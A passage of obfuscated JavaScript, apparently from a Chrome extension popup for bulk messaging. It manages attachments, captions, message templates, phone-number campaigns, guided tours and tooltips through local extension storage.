              VuwrJ: function (r, y) {
                return Y["tPdRV"](r, y);
              },
              OwYzg: Y["EwmZU"],
            };
            q["addEventListener"](Y["BYCKn"], async (r) => {
              let y = await new Promise((I) => {
                const X = {
                  JzxgG: function (E, h) {
                    return k["VuwrJ"](E, h);
                  },
                };
                chrome["storage"]["local"]["get"]([k["OwYzg"]], (E) => {
                  X["JzxgG"](I, E["captionForIndividualAttachment"] || []);
                });
              });
              v["splice"](q["id"], 0x1), y["splice"](q["id"], 0x1);
              if (Y["uIXFu"](v["length"], 0x3)) {
                const I = {};
                (I["showAllAttachments"] = ![]),
                  chrome["storage"]["local"]["set"](I);
              }
              const z = {};
              (z["attachmentsData"] = v), chrome["storage"]["local"]["set"](z);
              const K = {};
              (K["captionForIndividualAttachment"] = y),
                chrome["storage"]["local"]["set"](K),
                Y["WWJtu"](b);
            });
          }
        );
      document["querySelector"](c["vMyDI"]) &&
        document["querySelector"](c["vMyDI"])["addEventListener"](
          c["dSFED"],
          () => {
            const q = {};
            (q["showAllAttachments"] = !![]),
              chrome["storage"]["local"]["set"](q),
              c["Jucnl"](b);
          }
        );
      document["querySelector"](c["ZFDEF"]) &&
        document["querySelector"](".show_less")["addEventListener"](
          "click",
          () => {
            document["querySelector"]("#attachments-container")["style"][
              "textDecoration"
            ] = Y["sGnAg"];
            const q = {};
            (q["showAllAttachments"] = ![]),
              chrome["storage"]["local"]["set"](q),
              Y["WWJtu"](b);
          }
        );
      $(c["hmtME"])["removeClass"](c["PVHgO"]);
      if (Q) {
        let q = await new Promise((r) => {
          chrome["storage"]["local"]["get"]([c["jmDuF"]], (y) => {
            Y["KRENA"](r, y["captionForIndividualAttachment"] || []);
          });
        });
        c["wPOaG"]($, c["umKTW"])["prop"](c["afDFf"], ![]);
        let k = ![];
        for (let r = 0x0; c["RnXEC"](r, q["length"]); r++) {
          let y = q[r]["replace"](/\s/g, "");
          if (y["length"] != 0x0) {
            c["BCXhN"]($, c["WBotY"])["prop"](c["FspBD"], !![]), (k = !![]);
            break;
          }
        }
        c["WlfNL"](toggleCaptionCustomizationInputDiv),
          c["QbMIu"]($, c["pehEd"])["prop"](
            c["afDFf"],
            !c["uGwKs"]($, c["WBotY"])["is"](c["eOyEt"])
          ),
          c["gkEmM"](f, B, v, q, k),
          document["querySelector"](c["WBotY"])["addEventListener"](
            c["pfRpv"],
            () => {
              Y["rviKO"](f, B, v, q, k);
            }
          ),
          chrome["storage"]["local"]["get"](
            [c["rPLQA"], c["BFuaa"], "isCaptionUsed", c["fmuhp"]],
            (z) => {
              let K = z["daysSinceInstallation"];
              c["syYtR"](z["daysSinceInstallation"], undefined) &&
                (K = z["tooltip_popup_count"] || 0x1);
              let I = z["isTooltipClosed"],
                X = z["isCaptionUsed"];
              [0xb, 0xe, 0x11, 0x14]["includes"](K) &&
                !I &&
                !X &&
                ($(c["wgsLM"])["removeClass"](c["uAVSs"]),
                $(".checkbox-section\x20>\x20.add-tooltip-overlay")[
                  "removeClass"
                ](c["uAVSs"]));
            }
          );
      }
    } else $(c["OnyDZ"])["html"](""), $(c["hmtME"])["addClass"](c["PVHgO"]), c["upHgL"]($, "#add-caption-container")["prop"](c["afDFf"], !![]);
  }
  c["tUVsb"](b);
  function O(Y) {
    return new Promise((v, l) => {
      const Z = new FileReader();
      Z["readAsDataURL"](Y),
        (Z["onload"] = () => v(Z["result"])),
        (Z["onerror"] = (B) => l(B));
    });
  }
  async function i(Y) {
    const v = {
      qAXmp: function (Z, B) {
        return Z == B;
      },
      LkHJU: function (Z, B) {
        return c["VtwfK"](Z, B);
      },
      iKZPG: c["OJLrT"],
      yIKKi: function (Z, B) {
        return Z > B;
      },
      MIWMn: function (Z, B) {
        return c["zmihp"](Z, B);
      },
      DWKye: function (Z, B) {
        return c["xPrtA"](Z, B);
      },
      oppna: c["mEbjN"],
    };
    if (c["OsRaU"](Y["length"], 0x0)) return ![];
    if (c["TRnnQ"](Y["length"], 0x7)) {
      let Z = await c["erKfx"](translate, c["CRMmG"]);
      return alert(Z), ![];
    }
    let l = !![];
    return (
      Y["every"](async (B) => {
        if (
          (v["qAXmp"]("application/pdf", B["type"]) && B["size"] > 0x14fb180) ||
          (v["LkHJU"](v["iKZPG"], B["type"]) && v["yIKKi"](B["size"], 0xf42400))
        ) {
          const Q = B["size"] / 0xf4240;
          let d = await v["MIWMn"](
            translate,
            B["name"] +
              "\x20size\x20is\x20too\x20large,\x20[\x20file\x20size:\x20" +
              Q +
              "\x20MB].\x20Maximum\x20size\x20recommended:\x2016MB"
          );
          alert(d), v["DWKye"]($, v["oppna"])["val"](""), (l = ![]);
        }
        return l;
      }),
      l
    );
  }
  $(c["mEbjN"])["change"](async function () {
    const Y = {
        wFuNS: function (Q, d) {
          return c["fQTlm"](Q, d);
        },
        ryKxN: function (Q, d) {
          return c["upHgL"](Q, d);
        },
        jcXAn: function (Q, d) {
          return c["iBGmJ"](Q, d);
        },
        lArvu: c["XHqXP"],
      },
      v = $(this)["get"](0x0)["files"];
    let l = Array["from"](v);
    if (l["length"] > 0x1 && !isAdvanceFeatureAvailable()) {
      l = [];
      const Q = {};
      (Q["type"] = c["aHLkX"]),
        (Q["feature"] = c["OmsiP"]),
        sendMessageToBackground(Q),
        window["close"]();
    }
    c["VvQLG"](trackEvent, c["sIAba"], l["length"]),
      $(c["OnyDZ"])["html"](
        "<span\x20style=\x22margin-right:10px\x22>Fetching...</span>"
      );
    let Z = await new Promise((d) => {
      chrome["storage"]["local"]["get"]([Y["lArvu"]], (m) => {
        const D = {
          YiXVG: function (q, k) {
            return Y["wFuNS"](q, k);
          },
          PukWP: function (q, k) {
            return Y["ryKxN"](q, k);
          },
        };
        let R = m["attachmentsData"] || [],
          S = R["length"];
        Y["jcXAn"](i, l)
          ? (l["forEach"](async (q) => {
              await O(q)["then"](async (k) => {
                R["push"]({ name: q["name"], data: JSON["stringify"](k) }),
                  D["YiXVG"](R["length"] - S, l["length"]) && D["PukWP"](d, R);
              });
            }),
            chrome["storage"]["local"]["get"]([Y["lArvu"]], (q) => {
              a = q["attachmentsData"] || [];
            }))
          : d(R);
      });
    });
    const B = {};
    (B["attachmentsData"] = Z),
      await chrome["storage"]["local"]["set"](B),
      await c["hjwyX"](b),
      c["upHgL"]($, this)["val"]("");
  }),
    $(c["hmtME"])["click"](function () {
      const Y = {
        uwVhn: function (v, l) {
          return v == l;
        },
        KNlXE: function (v, l) {
          return c["QbMIu"](v, l);
        },
        jDbhJ: c["erpds"],
        hkoxq: "contrast-0",
        IsWgf: c["CnIPo"],
        jDSDk: c["fpjMR"],
        hrfts: function (v, l) {
          return c["rSCDV"](v, l);
        },
        aWgNg: c["sIAba"],
        PyfdU: c["mEbjN"],
      };
      chrome["storage"]["local"]["get"]([c["YsiDQ"], c["MrPos"]], (v) => {
        let l = v["first_attachment_click_count"];
        if (Y["uwVhn"](l, 0x0)) {
          const B = {};
          (B["first_attachment_click_count"] = 0x1),
            chrome["storage"]["local"]["set"](B);
        }
        let Z = v["first_visit_attachment"];
        if (Y["uwVhn"](Z, !![]))
          Y["KNlXE"]($, Y["jDbhJ"])["addClass"]("hide"),
            Y["KNlXE"]($, "#add-attachments")["addClass"](Y["hkoxq"]),
            (document["getElementById"](Y["IsWgf"])["style"]["display"] =
              Y["jDSDk"]);
        else {
          if (isLinux)
            Y["hrfts"](sendMessageToBackground, { type: Y["aWgNg"] }),
              window["close"]();
          else $(Y["PyfdU"])["click"]();
        }
      });
    }),
    c["QbMIu"]($, c["BydMP"])["click"](async function () {
      (translatedGroupMsgObj = await c["QbMIu"](
        fetchTranslations,
        groupMsgObj
      )),
        c["hHDrp"](messageToggleSwitchValue, c["mweUE"]) &&
          document["querySelector"](c["hWYPy"])["click"](),
        c["IOHPH"](driver, translatedGroupMsgObj)["drive"]();
    }),
    $(c["yEUsp"])["click"](async function () {
      (translatedContactMsgObj = await c["wPOaG"](
        fetchTranslations,
        contactMsgObj
      )),
        c["hHDrp"](messageToggleSwitchValue, "contacts") &&
          document["querySelector"](c["OxauQ"])["click"](),
        driver(translatedContactMsgObj)["drive"]();
    }),
    c["dZiar"]($, c["BgFka"])["click"](async function () {
      (translatedCustomObj = await c["iIWNe"](
        fetchTranslations,
        customizationObj
      )),
        (translatedCustomObj["steps"][0x1]["popover"]["onNextClick"] = () => {
          const Y = {
              pSlbm: function (l, Z) {
                return l(Z);
              },
            },
            v = document["querySelector"](c["iBWzA"]);
          v["click"](),
            c["eXzTP"]($, c["jWlZS"])["on"](c["pfRpv"], function (l) {
              Y["pSlbm"](driver, translatedCustomObj)["moveNext"]();
            });
        }),
        c["YRQxu"](messageToggleSwitchValue, c["pbRyV"]) &&
          document["querySelector"](c["kDjfI"])["click"](),
        (customization_obj = !![]),
        c["PpTTb"](driver, translatedCustomObj)["drive"]();
    }),
    $(c["nMTgo"])["click"](async function () {
      const Y = {
        xwLzB: function (v, l) {
          return c["lAcwR"](v, l);
        },
      };
      (translatedAttachments = await c["VXrWO"](
        fetchTranslations,
        attachmentObj
      )),
        (translatedAttachments["steps"][0x2]["popover"]["onNextClick"] = () => {
          attachment_obj = !![];
          const v = document["querySelector"]("#select-attachments");
          v["click"]();
          const l = {};
          (l["once"] = !![]),
            v["addEventListener"](
              "change",
              () => {
                Y["xwLzB"](driver, translatedAttachments)["moveNext"]();
              },
              l
            );
        }),
        messageToggleSwitchValue !== c["pbRyV"] &&
          document["querySelector"](c["kDjfI"])["click"](),
        driver(translatedAttachments)["drive"]();
    }),
    c["VPRys"]($, c["zWtrm"])["click"](function () {
      const Y = {};
      (Y["type"] = c["DtTwE"]), sendMessageToBackground(Y);
    }),
    c["HGNDF"]($, c["WBotY"])["change"](function () {
      const Y = {
        XzngQ: function (Z, B) {
          return c["hHDrp"](Z, B);
        },
      };
      c["UYnGu"]($, "#caption-section")["prop"](
        c["afDFf"],
        !c["uGwKs"]($, this)["is"](":checked")
      );
      const v = c["VjCGa"]($, this)["is"](c["eOyEt"]);
      toggleCaptionCustomizationInputDiv();
      let l = c["wPOaG"]($, "#caption-checkbox")["is"](":checked");
      l &&
        chrome["storage"]["local"]["get"]([c["OSnBv"]], function (Z) {
          if (Y["XzngQ"](Z["premiumUsageObject"], undefined)) {
            const B = { ...Z["premiumUsageObject"] };
            B["caption"] = !![];
            let Q = B;
            const d = {};
            (d["premiumUsageObject"] = Q), chrome["storage"]["local"]["set"](d);
          }
        }),
        c["uGwKs"](trackButtonClick, c["ocOgQ"]);
    }),
    chrome["storage"]["local"]["get"](
      [c["rPLQA"], c["oQVcG"], c["ymeTx"], c["fmuhp"]],
      (Y) => {
        let v = Y["daysSinceInstallation"];
        Y["daysSinceInstallation"] === undefined &&
          (v = Y["tooltip_popup_count"] || 0x1);
        const l = new Date(Y["installDate"])["toDateString"](),
          Z = Y["lastTooltipOpenDate"]
            ? new Date(Y["lastTooltipOpenDate"])
            : null,
          B = new Date()["toDateString"]();
        if (l && c["UHsrG"](B, l)) {
          if (c["qXCTl"](Z, null) || c["hHDrp"](Z["toDateString"](), B)) {
            const Q = {};
            (Q["lastTooltipOpenDate"] = B),
              chrome["storage"]["local"]["set"](Q),
              chrome["storage"]["local"]["set"]({
                daysSinceInstallation: c["bITgq"](v, 0x1),
              });
            const d = {};
            (d["isTooltipClosed"] = ![]), chrome["storage"]["local"]["set"](d);
            if (c["SFyEU"](v, 0x3)) {
              const m = {};
              (m["first_visit_attachment"] = !![]),
                chrome["storage"]["local"]["set"](m);
            }
          }
        }
        chrome["storage"]["local"]["get"]([c["rPLQA"], c["BFuaa"]], (D) => {
          let R = D["daysSinceInstallation"],
            S = D["isTooltipClosed"];
          [0x1, 0x4, 0x7, 0xa]["includes"](R) &&
            !S &&
            (c["VjCGa"]($, ".tooltip-popup-container")["removeClass"](
              c["uAVSs"]
            ),
            c["rSCDV"]($, ".add-tooltip-overlay")["removeClass"](c["uAVSs"]));
        });
      }
    ),
    c["hZFkL"]($, c["PeNrm"])["on"]("click", () => {
      const Y = c["ZXTLf"]["split"]("|");
      let v = 0x0;
      while (!![]) {
        switch (Y[v++]) {
          case "0":
            chrome["storage"]["local"]["set"]({
              lastTooltipOpenDate: new Date()["toDateString"](),
            });
            continue;
          case "1":
            const l = {};
            (l["isTooltipClosed"] = !![]), chrome["storage"]["local"]["set"](l);
            continue;
          case "2":
            $(".caption-tooltip")["addClass"]("hide");
            continue;
          case "3":
            $(c["uHoCk"])["addClass"](c["uAVSs"]);
            continue;
          case "4":
            c["wPOaG"]($, c["XkYTG"])["addClass"](c["uAVSs"]);
            continue;
        }
        break;
      }
    });
  function e() {
    const Y = {
      xgrds: c["eCUtB"],
      nRPau: function (v, l) {
        return c["rrzWw"](v, l);
      },
      GIqFj: function (v, l) {
        return c["qaDcI"](v, l);
      },
      yOpik: c["WKVaN"],
      DSkJs: c["uAVSs"],
      KslmC: function (v, l) {
        return c["zNLPq"](v, l);
      },
      LjHPq: c["tIEbB"],
      RgRGA: ".tooltip-popup-content",
      pKAEI: function (v, l) {
        return c["RFcjQ"](v, l);
      },
      cjLsD: c["DXcZy"],
    };
    chrome["storage"]["local"]["get"]([c["CgQOM"]], (v) => {
      let l = ![];
      const Z = $(Y["xgrds"])["val"]()["trim"](),
        B = v["templates"] || [];
      B["forEach"]((Q) => {
        Z === Q["message"] && (l = !![]);
      }),
        l || Y["nRPau"](Z["length"], 0x0)
          ? (Y["GIqFj"]($, Y["yOpik"])["removeClass"](Y["DSkJs"]),
            Y["KslmC"]($, Y["LjHPq"])["addClass"](Y["DSkJs"]),
            $(Y["RgRGA"])["removeClass"]("right-side"))
          : (Y["pKAEI"]($, Y["yOpik"])["addClass"](Y["DSkJs"]),
            Y["GIqFj"]($, Y["LjHPq"])["removeClass"]("hide"),
            Y["KslmC"]($, Y["RgRGA"])["addClass"](Y["cjLsD"]));
    });
  }
  c["hjwyX"](e),
    c["GwsUd"]($, c["eCUtB"])["on"]("input\x20click", function () {
      c["RCmoT"](e),
        c["Xplhx"]($, c["WKVaN"])["removeClass"](c["vUrRm"]),
        c["bbveF"]($, c["erpds"])["addClass"]("hide"),
        $(c["vBhOy"])["addClass"]("hide");
    }),
    c["HCXsQ"]($, "#template-save-icon")["click"](function () {
      const Y =
        Math["max"](
          0x0,
          c["IVKYK"](
            c["gETrn"](c["spkFs"](window["innerHeight"], 0xfa), 0x2),
            window["pageYOffset"]
          )
        ) + "px";
      c["xPrtA"]($, c["pFvKu"])["css"](c["enXte"], Y),
        c["eXzTP"]($, ".template-save-popup-container")["removeClass"](
          c["uAVSs"]
        ),
        c["lAcwR"]($, c["kChLu"])["val"](
          c["HCXsQ"]($, c["eCUtB"])["val"]()["trim"]()
        ),
        c["zmihp"]($, c["qJFch"])["val"]("")["focus"]();
    }),
    c["WziiJ"]($, c["AimLk"])["submit"](function (Y) {
      const v = {
        dbBQQ: function (Q, d) {
          return c["GQsdl"](Q, d);
        },
        SwrHD: function (Q, d) {
          return c["UYnGu"](Q, d);
        },
        iYpzn: c["EmpFn"],
        xWmOQ: c["uAVSs"],
        gofRl: function (Q, d) {
          return Q(d);
        },
        EdvQv: c["GtsAl"],
        FIzQn: function (Q, d) {
          return Q(d);
        },
        TXVak: c["tIEbB"],
        yPOtP: c["WKVaN"],
        wdaux: c["knoRy"],
        adHzW: c["DXcZy"],
        TjymV: c["uOGvy"],
        RolYy: function (Q, d) {
          return c["dGDDm"](Q, d);
        },
        qFbEJ: c["joids"],
      };
      Y["preventDefault"]();
      const l = $(c["qJFch"])["val"](),
        Z = $("#template-msg")["val"](),
        B = $(c["uOGvy"])["val"]();
      chrome["storage"]["local"]["get"]([c["CgQOM"]], (Q) => {
        let d = Q["templates"] || [],
          m = ![];
        if (v["dbBQQ"](B, "")) {
          d["forEach"]((R) => {
            R["name"] === l && (m = !![]);
          });
          if (m)
            alert(
              "Template\x20name\x20\x22" + l + "\x22\x20already\x20exists!"
            );
          else {
            const R = {};
            (R["name"] = l), (R["message"] = Z), d["push"](R);
          }
        } else {
          const S = parseInt(B);
          (d[S]["name"] = l), (d[S]["message"] = Z);
        }
        const D = {};
        (D["templates"] = d),
          chrome["storage"]["local"]["set"](D),
          v["SwrHD"]($, v["iYpzn"])["addClass"](v["xWmOQ"]),
          v["gofRl"]($, v["EdvQv"])["addClass"](v["xWmOQ"]),
          v["FIzQn"]($, v["TXVak"])["addClass"]("hide"),
          $(v["yPOtP"])["removeClass"](v["xWmOQ"]),
          $(v["wdaux"])["removeClass"](v["adHzW"]),
          v["gofRl"]($, v["TjymV"])["val"](""),
          v["RolYy"](trackButtonClick, v["qFbEJ"]);
      });
    });
  function s(Y) {
    const v = {
      ywgSp: function (l, Z) {
        return l + Z;
      },
      kOeCZ: function (l, Z) {
        return c["JCJkd"](l, Z);
      },
      tVcII: function (l, Z) {
        return c["uBEcg"](l, Z);
      },
      wGcDf: function (l, Z) {
        return c["BIbHr"](l, Z);
      },
      AbGIb: c["enXte"],
      Tsinr: function (l, Z) {
        return c["hdAfX"](l, Z);
      },
      sOmoc: c["uAVSs"],
      ByChL: c["qJFch"],
      sityP: c["uOGvy"],
    };
    chrome["storage"]["local"]["get"]([c["CgQOM"]], async (l) => {
      let Z = l["templates"],
        B = Z[Y]["message"],
        Q = Z[Y]["name"];
      const d = v["ywgSp"](
        Math["max"](
          0x0,
          v["kOeCZ"](
            v["tVcII"](v["wGcDf"](window["innerHeight"], 0xfa), 0x2),
            window["pageYOffset"]
          )
        ),
        "px"
      );
      $(".template-save-popup")["css"](v["AbGIb"], d),
        v["Tsinr"]($, ".template-save-popup-container")["removeClass"](
          v["sOmoc"]
        ),
        $("#template-msg")["val"](B),
        v["Tsinr"]($, v["ByChL"])["val"](Q)["focus"](),
        v["Tsinr"]($, v["sityP"])["val"](Y);
    });
  }
  function o() {
    c["ajzwf"]($, c["vBhOy"])["html"](""),
      chrome["storage"]["local"]["get"]([c["CgQOM"]], async (Y) => {
        const v = {
          gPGUw: function (Z, B) {
            return Z(B);
          },
          dtTSZ: c["eCUtB"],
          UsKZh: function (Z, B) {
            return c["zmihp"](Z, B);
          },
          UoZiX: c["vBhOy"],
          UhbAH: "hide",
          jIewf: function (Z, B) {
            return c["vTqkC"](Z, B);
          },
          PxqMA: "#template-selector",
          UkZRW: "active",
          Vgixb: function (Z, B) {
            return c["KhlLT"](Z, B);
          },
          NujuA: function (Z, B) {
            return c["YVsoo"](Z, B);
          },
        };
        let l = Y["templates"] || [];
        if (c["iQKVm"](l["length"], 0x0))
          for (let Z = c["erWPm"](l["length"], 0x1); c["zJiDB"](Z, 0x0); Z--) {
            c["hdAfX"]($, c["vBhOy"])["append"](
              "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22dropdown-item\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20id=\x22" +
                Z +
                "\x22\x20class=\x22template-text\x20text\x22>" +
                l[Z]["name"] +
                "</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20id=\x22" +
                Z +
                "\x22\x20class=\x22template-edit\x20btn\x22\x20src=\x22./logo/edit_icon.png\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20id=\x22" +
                Z +
                "\x22\x20class=\x22template-delete\x20btn\x22\x20src=\x22./logo/template_delete.png\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>"
            );
          }
        else
          c["GwsUd"]($, c["vBhOy"])["append"](
            "<div\x20class=\x22dropdown-item\x22>" +
              (await c["ciKsx"](translate, c["sFqpt"])) +
              "</div>"
          );
        c["ajzwf"]($, c["CpTxA"])["click"](function () {
          let B = v["gPGUw"]($, this)["attr"]("id"),
            Q = l[B]["message"];
          $(v["dtTSZ"])["val"](Q),
            v["UsKZh"]($, v["UoZiX"])["addClass"](v["UhbAH"]),
            v["jIewf"]($, v["PxqMA"])["removeClass"](v["UkZRW"]);
        }),
          c["DOkTR"]($, ".template-delete")["click"](async function () {
            let B = v["Vgixb"]($, this)["attr"]("id"),
              Q = await v["NujuA"](
                translate,
                "Are\x20you\x20sure,\x20you\x20want\x20to\x20remove\x20template\x20\x22TEMPLATE\x20NAME\x22\x20?"
              );
            Q = Q["replace"](/"(.*?)"/gi, "\x22" + l[B]["name"] + "\x22");
            let d = v["jIewf"](confirm, Q);
            if (d) {
              l["splice"](B, 0x1);
              const m = {};
              (m["templates"] = l), chrome["storage"]["local"]["set"](m), o();
            }
          }),
          c["zmihp"]($, ".template-edit")["click"](async function () {
            let B = v["jIewf"]($, this)["attr"]("id");
            v["jIewf"](s, B);
          });
      });
  }
  $(c["WKVaN"])["click"](function (Y) {
    const v = "2|4|1|3|0"["split"]("|");
    let l = 0x0;
    while (!![]) {
      switch (v[l++]) {
        case "0":
          c["ivLDA"]($, c["WKVaN"])["toggleClass"](c["vUrRm"]);
          continue;
        case "1":
          c["gitrj"]($, ".tooltip-container\x20")["addClass"]("hide");
          continue;
        case "2":
          c["jZjpY"](o);
          continue;
        case "3":
          c["zNLPq"]($, c["vBhOy"])["toggleClass"](c["uAVSs"]);
          continue;
        case "4":
          c["XUhKA"](trackButtonClick, "select_template_message");
          continue;
      }
      break;
    }
  }),
    c["VjCGa"]($, c["qMHeK"])["click"](function () {
      c["MOZgP"]($, c["EmpFn"])["addClass"](c["uAVSs"]);
    });
  function L() {
    chrome["storage"]["local"]["get"]([c["sGyoY"]], (Y) => {
      let v = ![];
      const l = c["erKfx"](getFilteredNumbers, $("#numbers")["val"]()),
        Z = Y["campaigns"] || [];
      Z["forEach"]((B) => {
        l === B["numbers"] && (v = !![]);
      }),
        v || c["qXCTl"](l["length"], 0x0)
          ? (c["rTKnJ"]($, c["PKnDx"])["removeClass"](c["uAVSs"]),
            c["lAcwR"]($, c["XcFvi"])["addClass"](c["uAVSs"]))
          : (c["zNLPq"]($, c["PKnDx"])["addClass"](c["uAVSs"]),
            c["lDEbH"]($, c["XcFvi"])["removeClass"]("hide"));
    });
  }
  L(),
    $("#numbers")["on"](c["DTHHx"], function () {
      c["bXMBQ"](L),
        c["OIznH"]($, "#campaign-selector")["removeClass"](c["vUrRm"]),
        c["zmihp"]($, "#campaigns-container")["addClass"](c["uAVSs"]);
    }),
    c["YDiDf"]($, c["XcFvi"])["click"](function () {
      let Y = c["uvwIi"](
        getFilteredNumbers,
        c["xPrtA"]($, c["RNquU"])["val"]()
      );
      const v = c["IVKYK"](
        Math["max"](
          0x0,
          c["ityVS"](
            c["UbSTI"](c["BIbHr"](window["innerHeight"], 0xfa), 0x2),
            window["pageYOffset"]
          )
        ),
        "px"
      );
      c["sXicy"]($, c["RxMGG"])["css"](c["enXte"], v),
        c["mkkQz"]($, ".campaign-save-popup-container")["removeClass"](
          c["uAVSs"]
        ),
        c["PexhX"]($, "#campaign-numbers")["val"](Y),
        $(c["HRKtt"])["val"](csv_name)["focus"]();
    }),
    c["dGDDm"]($, c["bMIyl"])["submit"](function (Y) {
      Y["preventDefault"]();
      const v = c["DOkTR"]($, c["HRKtt"])["val"](),
        l = c["BCXhN"](getFilteredNumbers, c["zKuQW"]($, c["aREis"])["val"]()),
        Z = c["EohoI"]($, c["hZplc"])["val"]();
      chrome["storage"]["local"]["get"]([c["sGyoY"]], (B) => {
        const Q = {};
        Q["andsB"] = function (S, q) {
          return S === q;
        };
        const d = Q;
        let m = B["campaigns"] || [],
          D = ![];
        if (c["ytxvG"](Z, "")) {
          m["forEach"]((S) => {
            d["andsB"](S["name"], v) && (D = !![]);
          });
          if (D)
            c["gwebp"](
              alert,
              "Campaign\x20name\x20\x22" + v + "\x22\x20already\x20exists!"
            );
          else {
            const S = {};
            (S["name"] = v), (S["numbers"] = l), m["push"](S);
          }
        } else {
          const q = c["uvwIi"](parseInt, Z);
          (m[q]["name"] = v), (m[q]["numbers"] = l);
        }
        const R = {};
        (R["campaigns"] = m),
          chrome["storage"]["local"]["set"](R),
          c["HGNDF"]($, c["PKnDx"])["removeClass"](c["uAVSs"]),
          $("#campaigns-container")["addClass"](c["uAVSs"]),
          $("#campaign-save-icon")["addClass"]("hide"),
          c["oIoFi"]($, ".campaign-save-popup-container")["addClass"]("hide"),
          c["DiVvO"]($, c["hZplc"])["val"](""),
          c["lhRaj"](trackButtonClick, c["pSPNZ"]);
      });
    });
  function F(Y) {
    const v = {
      XMPkr: function (l, Z) {
        return l + Z;
      },
      orSNb: function (l, Z) {
        return c["QOtjT"](l, Z);
      },
      LBnPf: function (l, Z) {
        return c["vseZR"](l, Z);
      },
      TewXl: function (l, Z) {
        return c["GPLZN"](l, Z);
      },
      iQNDd: function (l, Z) {
        return c["VPRys"](l, Z);
      },
      CZriz: c["RxMGG"],
      qlyrI: c["enXte"],
      fAcBy: c["teDQb"],
      Gsigb: c["uAVSs"],
      Gyodj: "#campaign-name",
    };
    chrome["storage"]["local"]["get"]([c["sGyoY"]], async (l) => {
      let Z = l["campaigns"],
        B = Z[Y]["numbers"],
        Q = Z[Y]["name"];
      const d = v["XMPkr"](
        Math["max"](
          0x0,
          v["orSNb"](
            v["LBnPf"](v["TewXl"](window["innerHeight"], 0xfa), 0x2),
            window["pageYOffset"]
          )
        ),
        "px"
      );
      v["iQNDd"]($, v["CZriz"])["css"](v["qlyrI"], d),
        $(v["fAcBy"])["removeClass"](v["Gsigb"]),
        $("#campaign-numbers")["val"](B),
        $(v["Gyodj"])["val"](Q)["focus"](),
        v["iQNDd"]($, "#edit-index")["val"](Y);
    });
  }
  function w() {
    const Y = {
      WGNOT: function (v, l) {
        return c["MOZgP"](v, l);
      },
      gmWYy: c["uAVSs"],
      coLLR: c["PKnDx"],
      bFMmJ: c["vUrRm"],
      cDPzf: function (v, l) {
        return c["QugMx"](v, l);
      },
      Jwxdx: function (v, l) {
        return c["TNgNF"](v, l);
      },
      qHMAh: function (v) {
        return c["TrXNL"](v);
      },
      mFQvH: function (v, l) {
        return c["rEHAx"](v, l);
      },
      hOIak: c["REWnu"],
      yqCtP: function (v, l) {
        return c["CGnig"](v, l);
      },
      XkZig: c["sFqpt"],
      MBDoY: ".campaign-delete",
      DtSrG: c["aHnDp"],
    };
    c["DOkTR"]($, c["REWnu"])["html"](""),
      chrome["storage"]["local"]["get"]([c["sGyoY"]], async (v) => {
        const l = {
          zWMbn: function (B, Q) {
            return Y["Jwxdx"](B, Q);
          },
          wDXYL: function (B, Q) {
            return Y["cDPzf"](B, Q);
          },
        };
        let Z = v["campaigns"] || [];
        if (Y["mFQvH"](Z["length"], 0x0))
          for (let B = Z["length"] - 0x1; B >= 0x0; B--) {
            Y["Jwxdx"]($, Y["hOIak"])["append"](
              "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22dropdown-item\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20id=\x22" +
                B +
                "\x22\x20class=\x22campaign-name\x20text\x22>" +
                Z[B]["name"] +
                "</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20id=\x22" +
                B +
                "\x22\x20class=\x22campaign-edit\x20btn\x22\x20src=\x22./logo/edit_icon.png\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20id=\x22" +
                B +
                "\x22\x20class=\x22campaign-delete\x20btn\x22\x20src=\x22./logo/template_delete.png\x22\x20\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>"
            );
          }
        else
          Y["WGNOT"]($, Y["hOIak"])["append"](
            "<div\x20class=\x22dropdown-item\x22>" +
              (await Y["yqCtP"](translate, Y["XkZig"])) +
              "</div>"
          );
        $(".campaign-name")["click"](function () {
          let Q = Y["WGNOT"]($, this)["attr"]("id"),
            d = Z[Q]["numbers"];
          Y["WGNOT"](replaceNumbers, d),
            Y["WGNOT"]($, "#campaigns-container")["addClass"](Y["gmWYy"]),
            Y["WGNOT"]($, Y["coLLR"])["removeClass"](Y["bFMmJ"]);
        }),
          Y["Jwxdx"]($, Y["MBDoY"])["click"](async function () {
            let Q = Y["cDPzf"]($, this)["attr"]("id"),
              d = await Y["Jwxdx"](
                translate,
                "Are\x20you\x20sure,\x20you\x20want\x20to\x20remove\x20campaign\x20\x22CAMPAIGN\x20NAME\x22\x20?"
              );
            d = d["replace"](/"(.*?)"/gi, "\x22" + Z[Q]["name"] + "\x22");
            let m = Y["cDPzf"](confirm, d);
            if (m) {
              Z["splice"](Q, 0x1);
              const D = {};
              (D["campaigns"] = Z),
                chrome["storage"]["local"]["set"](D),
                Y["qHMAh"](w);
            }
          }),
          $(Y["DtSrG"])["click"](async function () {
            let Q = l["zWMbn"]($, this)["attr"]("id");
            l["wDXYL"](F, Q);
          });
      });
  }
  $(c["PKnDx"])["click"](function (Y) {
    c["sqTzi"](w),
      c["YVsoo"](trackButtonClick, c["TfWvz"]),
      c["XUhKA"]($, "#campaigns-container")["toggleClass"]("hide"),
      c["tSRrD"]($, c["PKnDx"])["toggleClass"](c["vUrRm"]);
